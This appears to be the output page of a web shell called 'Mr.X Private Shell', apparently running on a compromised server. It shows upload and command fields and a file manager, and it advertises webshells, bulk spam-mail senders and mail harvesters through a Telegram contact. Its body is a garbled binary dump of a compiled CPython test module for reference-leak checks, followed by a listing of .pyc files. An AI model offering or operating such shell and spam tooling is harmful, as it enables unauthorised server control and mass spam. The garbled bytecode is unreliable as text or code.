__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

*�_i6&����SSKrSSKrSSKrSSKJr SSKJr SSKrSSKJ	r	 SSK
Jr SSK
Jr SSK
Jr SS	KJr SS
KJr SrS
rS\S\4SjrSrSSjrg!\a
 SSKrSrN'f=f)�N)�
isabstract)�Any)�support)�	os_helper)�refleak_helper�)�HuntRefleak)�clear_caches)�	_get_dumpc��[SUR55nXRURUR4$)Nc3�N# �UHn[R"U5v� M g7f�N)�weakref�ref)�.0�objs  �//usr/lib/python3.13/test/libregrtest/refleak.py�	<genexpr>�_get_dump.<locals>.<genexpr>s���N�<M�S����C� 0� 0�<M�s�#%)�set�
_abc_registry�
_abc_cache�_abc_negative_cache�_abc_negative_cache_version)�cls�registry_weakrefss  rrrs?�� �N�C�<M�<M�N�N��!�>�>��'�'��)H�)H�J�	J�c���[RcgSSKn[US5nUR	[RU5 SSS5 S[lg!,(df   N=f)Nr�xb)r�junit_xml_list�pickle�open�dump)�filenamer!�fps   r�save_support_xmlr&sJ�����%���	
�h��	�����G�*�*�B�/�
�!�G��
�	�s�!A�
A&c���[US5nSSKnU URU5nSSS5 [R
"U5 W[lg![a gf=f!,(df   N@=f)N�rbr)r"�FileNotFoundErrorr!�load�os�unlinkrr )r$r%r!�xml_lists    r�restore_support_xmlr.&s]���
�(�D�
!���	��;�;�r�?��
��I�I�h��%�G��������
��s�A�A �
A�A� 
A.�hunt_refleak�quietc
�
^7�SSKnSSKn[[S5(d[	S5e[5 [RSSnURR5n[RR5n[RR5[RR54n	SSKn
U
RR5n0nUR"R$V
s/sHn
['UR"U
5PM sn
H@n[)U5(dMUR+5U/-Hn[-U5SX�'M MB [/SS5Vs0sHnUU_M snm7U74SjnUR0nUR2nUR4nUU-n[7[/U55nS/U-nS/U-nS/U-n[R8n[R:n[R<n[>R@nS=n=n=n n!U(dO[CSUS	[RDS
9 SUS-S
--SUn"U"SUS-U"US-n"[CU"[RDSS9 Sn#Sn$[GXgX�X�5 [HRJ"5 UGH*n%[LRNn&S[Ll'U"5n$U&[Ll'[QU#5 [GXgX�X�5 [HRJ"5 U"SS9n'U"5U'-
n(U"5n)U"5n*U"U)U-
5UU%'U"U(U-
5UU%'U"U*U -
5UU%'U(di[SUU%UU%UU%5n+U+S::aSn,OU+S:aSU+n,OSn,U%U:Xa[CSS[RDSS9 [CU,S[RDSS9 A+A,U(nU)nU*n U'n![UU#5 GM- U(d[C[RDS
9 Sn-Sn.Sn/USU-4USU-4USU.44H�un0n1n2U0USn0U2"U05n3[WU05n4U3(d	U4(dM/U<SU0<SU1<S [YU05<3n5[CU5S[RDS!9 U3(aJ[C[RDSS9 [[US"S#S$9n6[CU5U6S
9 U6R]5 SSS5 Sn/M�[CS%[RDSS9 M� U/U$4$![ a SnGNf=fs sn
fs snf!U&[Ll'f=f!,(df   N`=f)&z�Run a test multiple times, looking for reference leaks.

Returns:
    False if the test didn't leak references; True if we detected refleaks.
rN�gettotalrefcountz9Tracking reference leaks requires a debug build of Pythoni���i�c�&>�TRX5$r)�
setdefault)�value�int_pools �r�get_pooled_int�'runtest_refleak.<locals>.get_pooled_intes����"�"�5�0�0r�	beginningzHrepetitions. Showing number of leaks (. for 0 or less, X for 10 or more))�file�
1234567890�
r�:T)r:�flushzrefleak-xml.tmp)�_only_immortal�.)
r@�1�2�3�4�5�6�7�8�9�X� �)�endr:r>c�&�[SU55$)Nc3�*# �UH	oS:�v� M g7f)rN�)r�deltas  rr�;runtest_refleak.<locals>.check_rc_deltas.<locals>.<genexpr>�s���2�6�%�A�:�6�s�)�all��deltass r�check_rc_deltas�(runtest_refleak.<locals>.check_rc_deltas�s���2�6�2�2�2rc��[U5$r)�anyrTs r�check_fd_deltas�(runtest_refleak.<locals>.check_fd_deltas�s���6�{�rF�
referencesz
memory blockszfile descriptorsz leaked z, sum=)rMr:�azutf-8)�encodingz (this is fine))/�copyreg�collections.abc�hasattr�sys�	Exception�warm_caches�warnings�filters�dispatch_table�copy�path_importer_cache�	linecache�cache�_interactive_cache�	zipimport�_zip_directory_cache�ImportError�abc�__all__�getattrr�__subclasses__r�range�warmups�runsr$�list�getallocatedblocksr2�getunicodeinternedsizer�fd_count�print�stderr�dash_R_cleanupr�
gc_collectr�_hunting_for_refleaksr&�maxr.rY�sumr"r>)8�	test_name�	test_funcr/r0r_�collections�fs�ps�pic�linecache_datarm�zdc�abcsr]rprr5r7rurvr$�repcount�	rep_range�	rc_deltas�alloc_deltas�	fd_deltasrxr2ryrz�	rc_before�alloc_before�	fd_before�interned_immortal_before�numbers�xml_filename�result�i�current�interned_immortal_after�alloc_after�rc_after�fd_after�total_leaks�symbolrVrZ�failedrU�	item_name�checker�failing�
suspicious�msg�refrepr6s8                                                       @r�runtest_refleakr�4s�������3�*�+�+��$�%�	%�
�M�
�	�	�!�	�B�	�	�	�	$�	$�	&�B�

�
!�
!�
&�
&�
(�C��_�_�)�)�+�Y�-I�-I�-N�-N�-P�P�N�4��
�,�,�1�1�3��
�D�5@�_�_�5L�5L�M�5L�������+�5L�M���#�����%�%�'�3�%�/�C�!�#��q�)�D�I�0�N�+0��t�*<�=�*<���u��*<�=�H�1��"�"�G����D��$�$�H���~�H��U�8�_�%�I���h��I��3��>�L���h��I��/�/���+�+�� �7�7���!�!�H�FG�G�I�G��G�y�+C��
�k�8�&6��:�:�	� ��2���!1�2�I�X�>���(�7�#�c�)�G�G�H�,=�=��
�g�C�J�J�d�3�$�L�
�F��2�3�T�:�����
�� �6�6��/3��,�	;��[�F�3:�N�0���&��r�s��>�����#9��#!��)�*�-D�D��#�%���:��%�h��&:�;�	�!��(��|�)C�D��Q��%�h��&:�;�	�!����i��l�L��O�Y�q�\�J�K��a�����r�!��!�#�����G�|��c�r��
�
�$�?��&�b�s�z�z��>���"���	��	�#:� ��L�)�c�f�
�3�:�:��
3���F�	�L�/�2�	���8�	�&��8�'�"��	�7����!���&�/����[�
��j�j��6�9�c�&�k�;�C��#�2�C�J�J�/���3�:�:�T�2��(�C�'�:�f��#�F�+��L�L�N�;����'�c�j�j��E�)'�*
�F����c������N��>��P4;�N�0��f;�:�s6�<S�4 S�)
S#�4S(�S8�S�S�(
S5�8
T	c��SSKnSSKnU[RSS&URR5 URR
U5 [RR5 [RR
U5 Uup�[RR5 [RR
U	5 [RR5 [RR
U5 SSKn
U
RR5 U
RR
U5 URR Vs/sHn[#URU5PM nn[%[&U5nUHyn
U
R)5U
/-H^nUR+US5nUb6UR-5 UH nU"5nUcMUR/U5 M" UR15 M` M{ [35 [R4"5 g![a N�f=fs snf)Nr)r_r`rerfrg�clear�updaterbrirjrlrkrmrnrorprqrr�filterrrs�get�_abc_registry_clear�register�_abc_caches_clearr
�_clear_internal_caches)r�r�r�r�r�r�r_r��lcache�linteractivermr]�abs_classesrpr�refsr�subclasss                  rr}r}�s������H���Q����� � �"����!�!�"�%����!�!�#����"�"�3�'�)��F�
� � �&�&�(�
� � �'�'��5�
�O�O����
�O�O���6�"�3��	�&�&�,�,�.��&�&�-�-�c�2�9D���8O�8O�P�8O�1�7�;�?�?�A�.�8O�K�P���[�1�K����%�%�'�3�%�/�C��8�8�C��&�D����'�'�)��C�"�u�H��+����X�.� �
�!�!�#�0���N���� ��3�
��
��Qs�
H/� H?�/
H<�;H<c���[[S55n[S5H
nXUS- M [S5Vs/sHn[U5PM  n[[SS55 gs snf)N�r���i)�bytesrt�chrrw)�sr�s  rrdrdsX��
�e�C�j��A�
�3�Z��	�A�a�C����3�Z� �Z��S��V�Z� ���r�3����!s�A()�returnN)r+rbre�inspectr�typingrrj�testr�test.supportrr�runtestsr	�utilsr
�_abcrrorr&r.�boolr�r}rdrPrr�<module>r�sz��	�
������"�'�!��
J��"�&�q�"-�q��q�h*!�Z��I�J��J�J�s�A�
A*�)A*

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 145 B 0644
cmdline.cpython-313.pyc File 24.28 KB 0644
filter.cpython-313.pyc File 2.46 KB 0644
findtests.cpython-313.pyc File 4.79 KB 0644
logger.cpython-313.pyc File 4.31 KB 0644
main.cpython-313.pyc File 32.74 KB 0644
pgo.cpython-313.pyc File 1010 B 0644
refleak.cpython-313.pyc File 10.9 KB 0644
result.cpython-313.pyc File 11.14 KB 0644
results.cpython-313.pyc File 14.6 KB 0644
run_workers.cpython-313.pyc File 26.94 KB 0644
runtests.cpython-313.pyc File 11.2 KB 0644
save_env.cpython-313.pyc File 21.47 KB 0644
setup.cpython-313.pyc File 5.85 KB 0644
single.cpython-313.pyc File 13.12 KB 0644
testresult.cpython-313.pyc File 11.72 KB 0644
tsan.cpython-313.pyc File 716 B 0644
utils.cpython-313.pyc File 29.34 KB 0644
win_utils.cpython-313.pyc File 4.19 KB 0644
worker.cpython-313.pyc File 4.99 KB 0644
Filemanager